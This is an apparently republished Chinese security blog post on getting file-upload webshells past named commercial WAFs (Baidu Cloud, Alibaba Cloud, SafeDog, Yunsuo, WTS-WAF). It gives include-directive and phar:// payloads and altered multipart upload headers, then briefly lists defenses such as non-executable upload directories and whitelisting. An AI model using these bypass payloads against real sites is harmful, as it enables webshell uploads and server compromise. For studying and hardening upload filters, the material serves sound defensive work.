前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >常见6种WAF绕过和防护原理

常见6种WAF绕过和防护原理

作者头像
小黑同学
发布2020-08-17 15:50:14
2.5K0
发布2020-08-17 15:50:14
举报
文章被收录于专栏:E=mc²E=mc²

本文仅限技术研究与讨论,严禁用于非法用途,否则产生的一切后果自行承担!

今天就聊聊关于上传绕过WAF的姿势,WAF(Web Application Firewall)简单的来说就是执行一系列针对HTTP/HTTPS的安全策略来专门为Web应用提供保护的一款产品。上传绕过不算什么技术了,正所谓未知防,焉知攻,先来了解一下网站的防御措施吧!

一、Bypass Waf

1.一般开发人员防御策略

客户端javascript校验(一般只校验后缀名)服务端校验1>文件头content-type字段校验(image/gif)2>文件内容头校验(GIF89a)3>后缀名黑名单校验4>后缀名白名单校验5>自定义正则校验6>WAF设备校验(根据不同的WAF产品而定)

2.Bypass
2.1 有些waf不会防asp/php/jsp后缀的文件,但是他会检测里面的内容

eg1: 1.先上传一个内容为木马的txt后缀文件,因为后缀名的关系没有检验内容

2.然后再上传一个.php的文件,内容为

此时,这个php文件就会去引用txt文件的内容,从而绕过校验,下面列举包含的语法:

代码语言:javascript
复制
PHP
<?php Include("上传的txt文件路径");?>
ASP
<!--#include file="上传的txt文件路径" -->
JSP
<jsp:include page="上传的txt文件路径"/>
or
<%@include file="上传的txt文件路径"%>

eg2: 上传文件:test.txt 将test.txt添加成压缩文件test.rar

上传文件:shell.php

代码语言:javascript
复制
<?php
include 'phar://test.rar/test.txt';
?>

访问shell.php就可以执行php代码 尝试修改压缩文件后缀为zip、phar、rar发现都是可以的。

2.2 WTS-WAF Bypass

Content-Disposition: form-data; name=“up_picture”; filename=“xss.php”

2.3 Baidu cloud Bypass

发现百度云目前正在拦截后缀,百度云过上传还跟<?php前面是否有代码还有很大关系,在这里就不要废话了,大家自己去研究一下吧。 Content-Disposition: form-data; name=“up_picture”; filename=“xss.jpg .Php”

百度云绕过就简单的很多很多,在对文件名大小写上面没有检测php是过了的,Php就能过,或者PHP,一句话自己合成图片马用Xise连接即可。

2.4 阿里云WAF

Content-Disposition: form-data; name=“img_crop_file”; filename="1.jpg .Php"Content-Type: image/jpeg

Bypass: Content-Disposition: form-data; name=“img_crop_file”; filename=“1.php”

Note:你看的没错,删除Content-Type: image/jpeg即可绕过。

2.5 安全狗上传Bypass(最新版不可绕)

Content-Disposition: form-data; name=“image”; filename="085733uykwusqcs8vw8wky.png"Content-Type: image/png

Bypass: Content-Disposition: form-data; name=“image”; filename="085733uykwusqcs8vw8wky.png

C.php" Note:删掉ontent-Type: image/jpeg只留下c,将.php加c后面即可,但是要注意额,双引号要跟着c.php".原理就不多说了,自己研究。

2.6 云锁上传Bypass

Content-Disposition: form-data; name=“up_picture”; filename=“xss.php”

二、Defense

详细说一下Type绕过防御机制,其他的防御机制自己可以下去研究.

1.目录设为不可执行:

只要web容器无法解析该目录下的文件,即使攻击者上传了脚本文件,服务器本身也不会受到影响,所以此点至关重要。

2.判断文件类型:

判断文件类型时,应结合MIME-Type、后缀检查等方式、推荐使用白名单的方式。

3.用随机数改写:

文件上传如果要执行代码,则需要用户能访问到这个文件。在某些环境下,用户能上传,但是不能访问。

三、Summary

研究WAF的绕过手段,是为了更好的提升WAF的防御能力。在研究突破的过程中,不要只是仅仅停留在正则表达式、基本漏洞原理,需要对涉及并深入更多的领域,例如HTTP协议理解和PHP、Tomcat对HTTP协议源码分析,MySQL词法分析,和Fuzz的思路等。在此过程中,会有许多乐趣,也会有各方面能力的提升。

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2020-07-08 ,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 一、Bypass Waf
    • 1.一般开发人员防御策略
      • 2.Bypass
      • 二、Defense
      • 三、Summary
      相关产品与服务
      云数据库 MySQL
      腾讯云数据库 MySQL(TencentDB for MySQL)为用户提供安全可靠,性能卓越、易于维护的企业级云数据库服务。其具备6大企业级特性,包括企业级定制内核、企业级高可用、企业级高可靠、企业级安全、企业级扩展以及企业级智能运维。通过使用腾讯云数据库 MySQL,可实现分钟级别的数据库部署、弹性扩展以及全自动化的运维管理,不仅经济实惠,而且稳定可靠,易于运维。
      领券
      问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档